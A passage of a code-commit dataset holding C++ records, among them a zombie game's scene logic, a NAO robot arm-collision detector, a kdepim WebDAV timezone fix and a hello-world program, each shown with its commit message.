i = 0; i < 10; ++i) AddZombie(new Zombie(this));\n\n}\n\nScene::~Scene(void)\n{\n\tif (player != 0) delete player;\n\t\/\/if (test_zombie != 0) delete test_zombie;\n\tfor (int i = 0; i < objects.size(); i++){\n\t\tif (objects[i] != 0) delete objects[i];\n\t}\n\n}\n\nbool Scene::CheckVictoryCondition(void)\n{\n\tint z = zombies.size();\n\tgame = true;\n\tfor(unsigned int i=0; i<zombies.size(); ++i)\n\t{\n\t\tif(GetDistance(player->GetObjectPosition(), zombies[i]->GetObjectPosition()) < 2)\n\t\t{\n\t\t\tgame = false;\n\t\t\tcout << \"PRZEGRALES!\" << endl;\n\t\t}\n\t\tif (GetDistance(player->GetObjectPosition(), zombies[i]->GetObjectPosition()) > 200) --z;\n\t}\n\t\n\tif(z == 0)\n\t{\n\t\tgame = false;\n\t\tcout << \"WYGRALES!\" << endl;\n\t}\n\n\treturn game;\n}\n\nvoid RenderBitmapString(float x, float y, char *string)\n{\n\tchar *c;\n\tglColor3f(1, 0, 0);\n\tglRasterPos3f(x, y, -0.1);\n\tfor(c=string; *c != '\\0'; c++)\n\t{\n\t\tglutBitmapCharacter(GLUT_BITMAP_TIMES_ROMAN_24, *c);\n\t}\n}\n\nfloat GlutPrint(float x, float y, char *txt, float scale)\n{\n\tint i;\n\tint len=strlen(txt);\n\t\n\tfor(i=0; i<len; i++)\n\t{\n\t\tglRasterPos2f(x, y);\n\t\tglutBitmapCharacter(GLUT_BITMAP_TIMES_ROMAN_24, txt[i]);\n\t\tx += glutBitmapWidth(GLUT_BITMAP_TIMES_ROMAN_24, txt[i])*scale;\n\t}\n\n\treturn 0;\n}\n\nvoid PrintText(char* string, int x, int y) {\n\n\tif(string && strlen(string))\n\t{\n\t\tglPushMatrix();\n\t\tglLoadIdentity();\n\t\tglScalef(0.003f, 0.003f,0.003f);\n\t\tglColor3f(1, 0, 0);\n\t\tglRasterPos3d(x, y, 0.1);\n\t\twhile(*string)\n\t\t{\n\t\t\tglutBitmapCharacter(GLUT_BITMAP_TIMES_ROMAN_24, *string);\n\t\t\tstring++;\n\t\t}\n\t\tglPopMatrix();\n\t}\n\n}\n\nvoid Scene::Update(double delta_time)\n{\n\tif (CheckVictoryCondition()){\n\n\t\tGroupZombies();\n\t\tfor (unsigned int i = 0; i < objects.size(); i++)\n\t\t{\n\t\t\tobjects[i]->Update(delta_time);\n\t\t}\n\t\n\t\tif (KeyStates['w'] || KeyStates['W']) player->Move(glm::vec2(0, 0.3), delta_time);\n\t\tif (KeyStates['s'] || KeyStates['S']) player->Move(glm::vec2(0, -0.3), delta_time);\n\t\tif (KeyStates['a'] || KeyStates['A']) player->Move(glm::vec2(-0.3, 0), delta_time);\n\t\tif (KeyStates['d'] || KeyStates['D']) player->Move(glm::vec2(0.3, 0), delta_time);\n\t\n\t\tplayer->Update(delta_time);\n\t}\n\n\t\/\/if (KeyStates['r'] || KeyStates['R']) Restart();\n}\n\nvoid Scene::Draw(void)\n{\n\tplayer->Draw();\n\tfor(unsigned int i = 0; i < objects.size(); i++)\n\t{\n\t\tobjects[i]->Draw();\n\t}\n\t\n}\n\nvoid Scene::PlayerRotate(glm::vec2 heading)\n{\n\tplayer->Rotate(heading);\n\t\n}\n\nvoid Scene::PlayerShoot(glm::vec2 aim)\n{\n\tplayer->Shoot(aim);\n}\n\nvoid Scene::ZombieTarget(glm::vec2 target)\n{\n\ttest_zombie->MousePoint(target);\n}\n\nvoid Scene::Key(unsigned char key)\n{\n\tif (KeyStates['r']) test_zombie->RandomPoint();\n}\n\nvoid Scene::KeyState(unsigned char key, bool tf)\n{\n\tKeyStates[key] = tf;\n}\n\nvoid Scene::AddObject(GameEntity *entity)\n{\n\tobjects.push_back(entity);\n}\nvoid Scene::AddZombie(Zombie *entity)\n{\n\tzombies.push_back(entity);\n\tobjects.push_back(entity);\n}\nvoid Scene::AddObstacle(Obstacle *entity)\n{\n\tobstacles.push_back(entity);\n\tobjects.push_back(entity);\n}\n\nvoid Scene::GroupZombies(void)\n{\n\n}\n\nostream& operator<<(ostream &o, const Scene &gw)\n{\n\to << \"---------------- SCENE ---------------\" << \"\\n\";\n\n\to << \"--------------------------------------\" << endl;\n\treturn o;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ArmCollisionDetector2018\n\/\/Created by Etienne C.-C.\n\/\/ coucaste@informatik.hu-berlin.de\n\n#include \"ArmCollisionDetector2018.h\"\n#include <PlatformInterface\/Platform.h>\n#include \"Tools\/Math\/Polygon.h\"\n\nusing namespace naoth;\n\nArmCollisionDetector2018::ArmCollisionDetector2018()\n{\n \/\/Debug Requests\n DEBUG_REQUEST_REGISTER(\"Motion:ArmCollisionDetector2018:showReferenceHull\", \"\", false);\n DEBUG_REQUEST_REGISTER(\"Motion:ArmCollisionDetector2018:showLeftBuffer\", \"\", false);\n DEBUG_REQUEST_REGISTER(\"Motion:ArmCollisionDetector2018:showRightBuffer\", \"\", false);\n\n getDebugParameterList().add(¶ms);\n double alpha, beta;\n const std::string& dirlocation = Platform::getInstance().theConfigDirectory;\n\n std::ifstream fileLeft(dirlocation + params.point_configLeft);\n while (fileLeft>>alpha>>beta) {\n getCollisionPercept().referenceHullLeft.emplace_back(alpha, beta);\n }\n fileLeft.close();\n\n std::ifstream fileRight(dirlocation + params.point_configRight);\n while (fileRight >> alpha >> beta) {\n getCollisionPercept().referenceHullRight.emplace_back(alpha, beta);\n }\n fileRight.close();\n\n \n getCollisionPercept().referenceHullLeft = ConvexHull::convexHull(getCollisionPercept().referenceHullLeft);\n getCollisionPercept().referenceHullRight = ConvexHull::convexHull(getCollisionPercept().referenceHullRight);\n\n refpolyL.makeFromPointSet(getCollisionPercept().referenceHullLeft);\n refpolyR.makeFromPointSet(getCollisionPercept().referenceHullRight);\n \n}\n\nArmCollisionDetector2018::~ArmCollisionDetector2018()\n{\n getDebugParameterList().remove(¶ms);\n}\n\n\nvoid ArmCollisionDetector2018::execute()\n{\n \/\/Check if robot is in a suitable situation to recognize collisions#\n const bool bodymodeOK = getBodyState().fall_down_state != BodyState::upright;\n const bool armModeOK =\n getMotionRequest().armMotionRequest.id == ArmMotionRequest::arms_synchronised_with_walk ||\n getMotionRequest().armMotionRequest.id == ArmMotionRequest::arms_down;\n const bool motionModeOK = getMotionStatus().currentMotion == motion::walk || getMotionStatus().currentMotion == motion::stand;\n\n \/\/ clear the joint command history in order to not check for collision while the robot is already executing a evasive movement for example\n if (!armModeOK || !motionModeOK || !bodymodeOK)\n {\n jointDataBufferLeft.clear();\n jointDataBufferRight.clear();\n\n collisionBufferLeft.clear();\n collisionBufferRight.clear();\n\n collisionBufferLeftRoll.clear();\n collisionBufferRightRoll.clear();\n return;\n }\n\n\n \/\/collect Motorjoint Data and adjust timelag (Motor is 4 Frames ahead of Sensor)\n jointDataBufferLeft.add(getMotorJointData().position[JointData::LShoulderPitch]);\n jointDataBufferRight.add(getMotorJointData().position[JointData::RShoulderPitch]);\n\n jointDataBufferLeftRoll.add(getMotorJointData().position[JointData::LShoulderRoll]);\n jointDataBufferRightRoll.add(getMotorJointData().position[JointData::RShoulderRoll]);\n\n \/\/When the robots arms are down, they are less sensible to collisions, so in that case we lower the sensitivity\n \/\/by using the more sensitive threshold method\n if (getMotionRequest().armMotionRequest.id == ArmMotionRequest::arms_down)\n {\n if (jointDataBufferLeft.isFull()) {\n double e = jointDataBufferLeft.first() - getSensorJointData().position[JointData::LShoulderPitch];\n collisionBufferLeft.add(std::fabs(e));\n }\n if (jointDataBufferRight.isFull()) {\n double e = jointDataBufferRight.first() - getSensorJointData().position[JointData::RShoulderPitch];\n collisionBufferRight.add(std::fabs(e));\n }\n double max_error = params.maxErrorStand;\n\n \/\/ collision arm left\n if (collisionBufferLeft.isFull() && collisionBufferLeft.getAverage() > max_error) {\n getCollisionPercept().timeCollisionArmLeft = getFrameInfo().getTime();\n jointDataBufferLeft.clear();\n collisionBufferLeft.clear();\n\n }\n\n \/\/ collision arm right\n if (collisionBufferRight.isFull() && collisionBufferRight.getAverage() > max_error) {\n getCollisionPercept().timeCollisionArmRight = getFrameInfo().getTime();\n jointDataBufferRight.clear();\n collisionBufferRight.clear();\n }\n\n return;\n }\n else\n {\n collisionBufferLeft.clear();\n collisionBufferRight.clear();\n }\n\n\n\n { \/\/ Arm Roll Collision\n if (jointDataBufferLeftRoll.isFull()) {\n double e = jointDataBufferLeftRoll.first() - getSensorJointData().position[JointData::LShoulderRoll];\n collisionBufferLeftRoll.add(e);\n }\n if (jointDataBufferRightRoll.isFull()) {\n double e = jointDataBufferRightRoll.first() - getSensorJointData().position[JointData::RShoulderRoll];\n collisionBufferRightRoll.add(e);\n }\n double max_error = params.armRollError;\n\n \/\/ collision arm left\n if (collisionBufferLeftRoll.isFull() && std::fabs(collisionBufferLeftRoll.getAverage()) > max_error) {\n getCollisionPercept().timeCollisionArmLeft = getFrameInfo().getTime();\n jointDataBufferLeftRoll.clear();\n collisionBufferLeftRoll.clear();\n\n }\n\n \/\/ collision arm right\n if (collisionBufferRightRoll.isFull() && std::fabs(collisionBufferRightRoll.getAverage()) > max_error) {\n getCollisionPercept().timeCollisionArmRight = getFrameInfo().getTime();\n jointDataBufferRightRoll.clear();\n collisionBufferRightRoll.clear();\n }\n }\n\n\n \/\/In this part we check for collision using the \"Polygon method\" \n\n if (jointDataBufferLeft.isFull()) \n {\n double a = jointDataBufferLeft.first();\n double b = getSensorJointData().position[JointData::LShoulderPitch];\n double er = (b - a);\n if (!refpolyL.isInside(Vector2d(a, er)))\n {\n \/\/collision\n getCollisionPercept().timeCollisionArmLeft = getFrameInfo().getTime();\n jointDataBufferLeft.clear();\n }\n }\n\n if (jointDataBufferRight.isFull())\n {\n double a = jointDataBufferRight.first();\n double b = getSensorJointData().position[JointData::RShoulderPitch];\n double er = (b - a);\n if (!refpolyR.isInside(Vector2d(a, er)))\n {\n \/\/collision\n getCollisionPercept().timeCollisionArmRight = getFrameInfo().getTime();\n jointDataBufferRight.clear();\n }\n }\n\n}<commit_msg>reformatted<commit_after>\/\/ArmCollisionDetector2018\n\/\/Created by Etienne C.-C.\n\/\/ coucaste@informatik.hu-berlin.de\n\n#include \"ArmCollisionDetector2018.h\"\n#include <PlatformInterface\/Platform.h>\n#include \"Tools\/Math\/Polygon.h\"\n\nusing namespace naoth;\n\nArmCollisionDetector2018::ArmCollisionDetector2018()\n{\n \/\/Debug Requests\n \/\/Debug Requests end\n\n getDebugParameterList().add(¶ms);\n double alpha, beta;\n const std::string& dirlocation = Platform::getInstance().theConfigDirectory;\n\n std::ifstream fileLeft(dirlocation + params.point_configLeft);\n while (fileLeft >> alpha >> beta) {\n getCollisionPercept().referenceHullLeft.emplace_back(alpha, beta);\n }\n fileLeft.close();\n\n std::ifstream fileRight(dirlocation + params.point_configRight);\n while (fileRight >> alpha >> beta) {\n getCollisionPercept().referenceHullRight.emplace_back(alpha, beta);\n }\n fileRight.close();\n\n\n getCollisionPercept().referenceHullLeft = ConvexHull::convexHull(getCollisionPercept().referenceHullLeft);\n getCollisionPercept().referenceHullRight = ConvexHull::convexHull(getCollisionPercept().referenceHullRight);\n\n refpolyL.makeFromPointSet(getCollisionPercept().referenceHullLeft);\n refpolyR.makeFromPointSet(getCollisionPercept().referenceHullRight);\n\n}\n\nArmCollisionDetector2018::~ArmCollisionDetector2018()\n{\n getDebugParameterList().remove(¶ms);\n}\n\n\nvoid ArmCollisionDetector2018::execute()\n{\n \/\/Check if robot is in a suitable situation to recognize collisions#\n const bool bodymodeOK = getBodyState().fall_down_state != BodyState::upright;\n const bool armModeOK =\n getMotionRequest().armMotionRequest.id == ArmMotionRequest::arms_synchronised_with_walk ||\n getMotionRequest().armMotionRequest.id == ArmMotionRequest::arms_down;\n const bool motionModeOK = getMotionStatus().currentMotion == motion::walk || getMotionStatus().currentMotion == motion::stand;\n\n \/\/ clear the joint command history in order to not check for collision while the robot is already executing a evasive movement for example\n if (!armModeOK || !motionModeOK || !bodymodeOK)\n {\n jointDataBufferLeft.clear();\n jointDataBufferRight.clear();\n\n collisionBufferLeft.clear();\n collisionBufferRight.clear();\n\n collisionBufferLeftRoll.clear();\n collisionBufferRightRoll.clear();\n return;\n }\n\n\n \/\/collect Motorjoint Data and adjust timelag (Motor is 4 Frames ahead of Sensor)\n jointDataBufferLeft.add(getMotorJointData().position[JointData::LShoulderPitch]);\n jointDataBufferRight.add(getMotorJointData().position[JointData::RShoulderPitch]);\n\n jointDataBufferLeftRoll.add(getMotorJointData().position[JointData::LShoulderRoll]);\n jointDataBufferRightRoll.add(getMotorJointData().position[JointData::RShoulderRoll]);\n\n \/\/When the robots arms are down, they are less sensible to collisions, so in that case we lower the sensitivity\n \/\/by using the more sensitive threshold method\n if (getMotionRequest().armMotionRequest.id == ArmMotionRequest::arms_down)\n {\n if (jointDataBufferLeft.isFull()) {\n double e = jointDataBufferLeft.first() - getSensorJointData().position[JointData::LShoulderPitch];\n collisionBufferLeft.add(std::fabs(e));\n }\n if (jointDataBufferRight.isFull()) {\n double e = jointDataBufferRight.first() - getSensorJointData().position[JointData::RShoulderPitch];\n collisionBufferRight.add(std::fabs(e));\n }\n double max_error = params.maxErrorStand;\n\n \/\/ collision arm left\n if (collisionBufferLeft.isFull() && collisionBufferLeft.getAverage() > max_error) {\n getCollisionPercept().timeCollisionArmLeft = getFrameInfo().getTime();\n jointDataBufferLeft.clear();\n collisionBufferLeft.clear();\n\n }\n\n \/\/ collision arm right\n if (collisionBufferRight.isFull() && collisionBufferRight.getAverage() > max_error) {\n getCollisionPercept().timeCollisionArmRight = getFrameInfo().getTime();\n jointDataBufferRight.clear();\n collisionBufferRight.clear();\n }\n\n return;\n } \/\/End of threshold method\n else\n {\n collisionBufferLeft.clear();\n collisionBufferRight.clear();\n }\n\n\n\n \/\/ Arm Roll Collision\n if (jointDataBufferLeftRoll.isFull()) {\n double e = jointDataBufferLeftRoll.first() - getSensorJointData().position[JointData::LShoulderRoll];\n collisionBufferLeftRoll.add(e);\n }\n if (jointDataBufferRightRoll.isFull()) {\n double e = jointDataBufferRightRoll.first() - getSensorJointData().position[JointData::RShoulderRoll];\n collisionBufferRightRoll.add(e);\n }\n double max_error = params.armRollError;\n\n \/\/ Arm Roll collision arm left\n if (collisionBufferLeftRoll.isFull() && std::fabs(collisionBufferLeftRoll.getAverage()) > max_error) {\n getCollisionPercept().timeCollisionArmLeft = getFrameInfo().getTime();\n jointDataBufferLeftRoll.clear();\n collisionBufferLeftRoll.clear();\n\n }\n\n \/\/ Arm Roll collision arm right\n if (collisionBufferRightRoll.isFull() && std::fabs(collisionBufferRightRoll.getAverage()) > max_error) {\n getCollisionPercept().timeCollisionArmRight = getFrameInfo().getTime();\n jointDataBufferRightRoll.clear();\n collisionBufferRightRoll.clear();\n }\n\n\n\n \/\/In this part we check for collision using the \"Polygon method\" \n\n if (jointDataBufferLeft.isFull())\n {\n double a = jointDataBufferLeft.first();\n double b = getSensorJointData().position[JointData::LShoulderPitch];\n double er = (b - a);\/\/ er < 0 means collision from behind, er > 0 from front\n if (!refpolyL.isInside(Vector2d(a, er)))\n {\n \/\/collision\n getCollisionPercept().timeCollisionArmLeft = getFrameInfo().getTime();\n jointDataBufferLeft.clear();\n }\n }\n\n if (jointDataBufferRight.isFull())\n {\n double a = jointDataBufferRight.first();\n double b = getSensorJointData().position[JointData::RShoulderPitch];\n double er = (b - a); \/\/ er < 0 means collision from behind, er > 0 from front\n if (!refpolyR.isInside(Vector2d(a, er)))\n {\n \/\/collision\n getCollisionPercept().timeCollisionArmRight = getFrameInfo().getTime();\n jointDataBufferRight.clear();\n }\n }\n\n}<|endoftext|>"} {"text":"<commit_before>\/*\n This file is part of kdepim.\n\n Copyright (c) 2004 Cornelius Schumacher <schumacher@kde.org>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n*\/\n\n#include \"webdavhandler.h\"\n\n#ifdef HAVE_VALUES_H\n#include <values.h>\n#else\n#ifdef HAVE_SYS_LIMITS_H\n#include <sys\/limits.h>\n#endif\n#endif\n\n#include <libkcal\/incidence.h>\n\n#include <libkdepim\/kpimprefs.h>\n\n#include <kdebug.h>\n#include <kconfig.h>\n\n#include <qfile.h>\n\nSloxItem::SloxItem()\n : status( Invalid )\n{\n}\n\nWebdavHandler::WebdavHandler()\n : mLogCount( 0 )\n{\n KConfig cfg( \"sloxrc\" );\n\n cfg.setGroup( \"General\" );\n mLogFile = cfg.readEntry( \"LogFile\" );\n\n kdDebug() << \"LOG FILE: \" << mLogFile << endl;\n}\n\nvoid WebdavHandler::setUserId( const QString &id )\n{\n mUserId = id;\n}\n\nQString WebdavHandler::userId() const\n{\n return mUserId;\n}\n\n\nvoid WebdavHandler::log( const QString &text )\n{\n if ( mLogFile.isEmpty() ) return;\n\n QString filename = mLogFile + \"-\" + QString::number( mLogCount );\n QFile file( filename );\n if ( !file.open( IO_WriteOnly ) ) {\n kdWarning() << \"Unable to open log file '\" << filename << \"'\" << endl;\n return;\n }\n \n QCString textUtf8 = text.utf8();\n file.writeBlock( textUtf8.data(), textUtf8.size() - 1 );\n \n if ( ++mLogCount > 5 ) mLogCount = 0;\n}\n\nQValueList<SloxItem> WebdavHandler::getSloxItems( const QDomDocument &doc )\n{\n kdDebug() << \"getSloxItems\" << endl;\n\n QValueList<SloxItem> items;\n\n QDomElement docElement = doc.documentElement();\n\n QDomNode responseNode;\n for( responseNode = docElement.firstChild(); !responseNode.isNull();\n responseNode = responseNode.nextSibling() ) {\n QDomElement responseElement = responseNode.toElement();\n if ( responseElement.tagName() == \"response\" ) {\n QDomNode propstat = responseElement.namedItem( \"propstat\" );\n if ( propstat.isNull() ) {\n kdError() << \"Unable to find propstat tag.\" << endl;\n continue;\n }\n\n QDomNode prop = propstat.namedItem( \"prop\" );\n if ( prop.isNull() ) {\n kdError() << \"Unable to find WebDAV property\" << endl;\n continue;\n }\n\n QDomNode sloxIdNode = prop.namedItem( \"sloxid\" );\n if ( sloxIdNode.isNull() ) {\n kdError() << \"Unable to find SLOX id.\" << endl;\n continue;\n }\n QDomElement sloxIdElement = sloxIdNode.toElement();\n QString sloxId = sloxIdElement.text();\n\n QDomNode sloxStatus = prop.namedItem( \"sloxstatus\" );\n if ( sloxStatus.isNull() ) {\n kdError() << \"Unable to find SLOX status.\" << endl;\n continue;\n }\n\n SloxItem item;\n item.sloxId = sloxId;\n item.domNode = prop;\n\n QDomElement sloxStatusElement = sloxStatus.toElement();\n if ( sloxStatusElement.text() == \"DELETE\" ) {\n item.status = SloxItem::Delete;\n } else if ( sloxStatusElement.text() == \"CREATE\" ) {\n item.status = SloxItem::Create;\n }\n\n items.append( item );\n }\n }\n \n return items;\n}\n\nQString WebdavHandler::qDateTimeToSlox( const QDateTime &dt )\n{\n uint ticks = -dt.secsTo( QDateTime( QDate( 1970, 1, 1 ), QTime( 0, 0 ) ) );\n\n return QString::number( ticks ) + \"000\";\n}\n\nQString WebdavHandler::qDateTimeToSlox( const QDateTime &dt,\n const QString &timeZoneId )\n{\n QDateTime utc = KPimPrefs::localTimeToUtc( dt, timeZoneId );\n\n uint ticks = -utc.secsTo( QDateTime( QDate( 1970, 1, 1 ), QTime( 0, 0 ) ) );\n\n return QString::number( ticks ) + \"000\";\n}\n\nQDateTime WebdavHandler::sloxToQDateTime( const QString &str )\n{\n QString s = str.mid( 0, str.length() - 3 );\n\n bool preEpoch = s.startsWith(\"-\");\n if (preEpoch)\n s = s.mid(1);\n\n unsigned long ticks = s.toULong();\n\n QDateTime dt;\n\n if (preEpoch) {\n dt.setTime_t( 0, Qt::UTC );\n if (ticks > INT_MAX) {\n dt = dt.addSecs(-INT_MAX);\n ticks -= INT_MAX;\n }\n dt = dt.addSecs(-((long) ticks));\n }\n else\n {\n dt.setTime_t( ticks, Qt::UTC );\n }\n\n return dt;\n}\n\nQDateTime WebdavHandler::sloxToQDateTime( const QString &str,\n const QString &timeZoneId )\n{\n return KPimPrefs::utcToLocalTime( sloxToQDateTime(str), timeZoneId );\n}\n\nQDomElement WebdavHandler::addElement( QDomDocument &doc, QDomNode &node,\n const QString &tag )\n{\n QDomElement el = doc.createElement( tag );\n node.appendChild( el );\n return el;\n}\n\nQDomElement WebdavHandler::addDavElement( QDomDocument &doc, QDomNode &node,\n const QString &tag )\n{\n QDomElement el = doc.createElementNS( \"DAV\", tag );\n node.appendChild( el );\n return el;\n}\n\nQDomElement WebdavHandler::addSloxElement( QDomDocument &doc, QDomNode &node,\n const QString &tag,\n const QString &text )\n{\n QDomElement el = doc.createElementNS( \"SLOX\", tag );\n if ( !text.isEmpty() ) {\n QDomText textnode = doc.createTextNode( text );\n el.appendChild( textnode );\n }\n node.appendChild( el );\n return el;\n}\n\nvoid WebdavHandler::parseSloxAttribute( const QDomElement &e )\n{\n\/\/ kdDebug() << \"parseSloxAttribute\" << endl;\n\n QString tag = e.tagName();\n QString text = QString::fromUtf8( e.text().latin1() );\n if ( text.isEmpty() ) return;\n\n if ( tag == \"owner\" ) {\n if ( text == mUserId ) mWritable = true;\n } else if ( tag == \"writerights\" ) {\n QDomNode n;\n for( n = e.firstChild(); !n.isNull(); n = n.nextSibling() ) {\n QDomElement e2 = n.toElement();\n if ( e2.tagName() == \"member\" ) {\n if ( e2.text() == mUserId ) mWritable = true;\n }\n \/\/ TODO: Process group write rights\n }\n }\n}\n\nvoid WebdavHandler::clearSloxAttributeStatus()\n{\n mWritable = false;\n}\n\nvoid WebdavHandler::setSloxAttributes( KCal::Incidence *i )\n{\n i->setReadOnly( !mWritable );\n}\n\nvoid WebdavHandler::setSloxAttributes( KABC::Addressee & )\n{\n \/\/ FIXME: libkabc doesn't allow to set an individual addressee to read-only\n}\n<commit_msg>Save things to the server in the correct timezone - remove a double conversion bug.<commit_after>\/*\n This file is part of kdepim.\n\n Copyright (c) 2004 Cornelius Schumacher <schumacher@kde.org>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n*\/\n\n#include \"webdavhandler.h\"\n\n#ifdef HAVE_VALUES_H\n#include <values.h>\n#else\n#ifdef HAVE_SYS_LIMITS_H\n#include <sys\/limits.h>\n#endif\n#endif\n\n#include <stdlib.h>\n\n#include <libkcal\/incidence.h>\n\n#include <libkdepim\/kpimprefs.h>\n\n#include <kdebug.h>\n#include <kconfig.h>\n\n#include <qfile.h>\n\nSloxItem::SloxItem()\n : status( Invalid )\n{\n}\n\nWebdavHandler::WebdavHandler()\n : mLogCount( 0 )\n{\n KConfig cfg( \"sloxrc\" );\n\n cfg.setGroup( \"General\" );\n mLogFile = cfg.readEntry( \"LogFile\" );\n\n kdDebug() << \"LOG FILE: \" << mLogFile << endl;\n}\n\nvoid WebdavHandler::setUserId( const QString &id )\n{\n mUserId = id;\n}\n\nQString WebdavHandler::userId() const\n{\n return mUserId;\n}\n\n\nvoid WebdavHandler::log( const QString &text )\n{\n if ( mLogFile.isEmpty() ) return;\n\n QString filename = mLogFile + \"-\" + QString::number( mLogCount );\n QFile file( filename );\n if ( !file.open( IO_WriteOnly ) ) {\n kdWarning() << \"Unable to open log file '\" << filename << \"'\" << endl;\n return;\n }\n \n QCString textUtf8 = text.utf8();\n file.writeBlock( textUtf8.data(), textUtf8.size() - 1 );\n \n if ( ++mLogCount > 5 ) mLogCount = 0;\n}\n\nQValueList<SloxItem> WebdavHandler::getSloxItems( const QDomDocument &doc )\n{\n kdDebug() << \"getSloxItems\" << endl;\n\n QValueList<SloxItem> items;\n\n QDomElement docElement = doc.documentElement();\n\n QDomNode responseNode;\n for( responseNode = docElement.firstChild(); !responseNode.isNull();\n responseNode = responseNode.nextSibling() ) {\n QDomElement responseElement = responseNode.toElement();\n if ( responseElement.tagName() == \"response\" ) {\n QDomNode propstat = responseElement.namedItem( \"propstat\" );\n if ( propstat.isNull() ) {\n kdError() << \"Unable to find propstat tag.\" << endl;\n continue;\n }\n\n QDomNode prop = propstat.namedItem( \"prop\" );\n if ( prop.isNull() ) {\n kdError() << \"Unable to find WebDAV property\" << endl;\n continue;\n }\n\n QDomNode sloxIdNode = prop.namedItem( \"sloxid\" );\n if ( sloxIdNode.isNull() ) {\n kdError() << \"Unable to find SLOX id.\" << endl;\n continue;\n }\n QDomElement sloxIdElement = sloxIdNode.toElement();\n QString sloxId = sloxIdElement.text();\n\n QDomNode sloxStatus = prop.namedItem( \"sloxstatus\" );\n if ( sloxStatus.isNull() ) {\n kdError() << \"Unable to find SLOX status.\" << endl;\n continue;\n }\n\n SloxItem item;\n item.sloxId = sloxId;\n item.domNode = prop;\n\n QDomElement sloxStatusElement = sloxStatus.toElement();\n if ( sloxStatusElement.text() == \"DELETE\" ) {\n item.status = SloxItem::Delete;\n } else if ( sloxStatusElement.text() == \"CREATE\" ) {\n item.status = SloxItem::Create;\n }\n\n items.append( item );\n }\n }\n \n return items;\n}\n\nQString WebdavHandler::qDateTimeToSlox( const QDateTime &dt )\n{\n uint ticks = -dt.secsTo( QDateTime( QDate( 1970, 1, 1 ), QTime( 0, 0 ) ) );\n\n return QString::number( ticks ) + \"000\";\n}\n\nQString WebdavHandler::qDateTimeToSlox( const QDateTime &dt,\n const QString &timeZoneId )\n{\n QDateTime utc = KPimPrefs::localTimeToUtc( dt, timeZoneId );\n\n \/\/ secsTo and toTime_t etc also perform a timezone conversion using the system timezone,\n \/\/ but we want to use the calendar timezone, so we have to convert ourself and spoof the tz to UTC before \n \/\/ converting to ticks to prevent this \n QCString origTz = getenv(\"TZ\");\n setenv( \"TZ\", \"UTC\", 1 );\n uint ticks = utc.toTime_t();\n if ( origTz.isNull() )\n unsetenv( \"TZ\" );\n else\n setenv( \"TZ\", origTz, 1 );\n\n return QString::number( ticks ) + \"000\";\n}\n\nQDateTime WebdavHandler::sloxToQDateTime( const QString &str )\n{\n QString s = str.mid( 0, str.length() - 3 );\n\n bool preEpoch = s.startsWith(\"-\");\n if (preEpoch)\n s = s.mid(1);\n\n unsigned long ticks = s.toULong();\n\n QDateTime dt;\n\n if (preEpoch) {\n dt.setTime_t( 0, Qt::UTC );\n if (ticks > INT_MAX) {\n dt = dt.addSecs(-INT_MAX);\n ticks -= INT_MAX;\n }\n dt = dt.addSecs(-((long) ticks));\n }\n else\n {\n dt.setTime_t( ticks, Qt::UTC );\n }\n\n return dt;\n}\n\nQDateTime WebdavHandler::sloxToQDateTime( const QString &str,\n const QString &timeZoneId )\n{\n return KPimPrefs::utcToLocalTime( sloxToQDateTime(str), timeZoneId );\n}\n\nQDomElement WebdavHandler::addElement( QDomDocument &doc, QDomNode &node,\n const QString &tag )\n{\n QDomElement el = doc.createElement( tag );\n node.appendChild( el );\n return el;\n}\n\nQDomElement WebdavHandler::addDavElement( QDomDocument &doc, QDomNode &node,\n const QString &tag )\n{\n QDomElement el = doc.createElementNS( \"DAV\", tag );\n node.appendChild( el );\n return el;\n}\n\nQDomElement WebdavHandler::addSloxElement( QDomDocument &doc, QDomNode &node,\n const QString &tag,\n const QString &text )\n{\n QDomElement el = doc.createElementNS( \"SLOX\", tag );\n if ( !text.isEmpty() ) {\n QDomText textnode = doc.createTextNode( text );\n el.appendChild( textnode );\n }\n node.appendChild( el );\n return el;\n}\n\nvoid WebdavHandler::parseSloxAttribute( const QDomElement &e )\n{\n\/\/ kdDebug() << \"parseSloxAttribute\" << endl;\n\n QString tag = e.tagName();\n QString text = QString::fromUtf8( e.text().latin1() );\n if ( text.isEmpty() ) return;\n\n if ( tag == \"owner\" ) {\n if ( text == mUserId ) mWritable = true;\n } else if ( tag == \"writerights\" ) {\n QDomNode n;\n for( n = e.firstChild(); !n.isNull(); n = n.nextSibling() ) {\n QDomElement e2 = n.toElement();\n if ( e2.tagName() == \"member\" ) {\n if ( e2.text() == mUserId ) mWritable = true;\n }\n \/\/ TODO: Process group write rights\n }\n }\n}\n\nvoid WebdavHandler::clearSloxAttributeStatus()\n{\n mWritable = false;\n}\n\nvoid WebdavHandler::setSloxAttributes( KCal::Incidence *i )\n{\n i->setReadOnly( !mWritable );\n}\n\nvoid WebdavHandler::setSloxAttributes( KABC::Addressee & )\n{\n \/\/ FIXME: libkabc doesn't allow to set an individual addressee to read-only\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n\nint main(int argc, char* argv[]) {\n std::cout << \"Hello World!\" << std::endl;\n return 0;\n}<commit_msg>feat: make it work<commit_after>#include <iostream>\n\nint main(int argc, char* argv[]) {\n std::cout << \"Hello World!\" << std::endl;\n std::system(\"PAUSE\");\n return 0;\n}<|endoftext|>"} {"text":"<commit_before>\/************************************************************************************\n * Copyright (C) 2017, Copyright Holders of the ALICE Collaboration *\n * All rights reserved. *\n * *\n * Redistribution and use in source and binary forms, with or without *\n * modification, are permitted provided that the following conditions are met: *\n * * Redistributions of source code must retain the above copyright *\n * notice, this list of conditions and the following disclaimer. *\n * * Redistributions in binary form must reproduce the above copyright *\n * 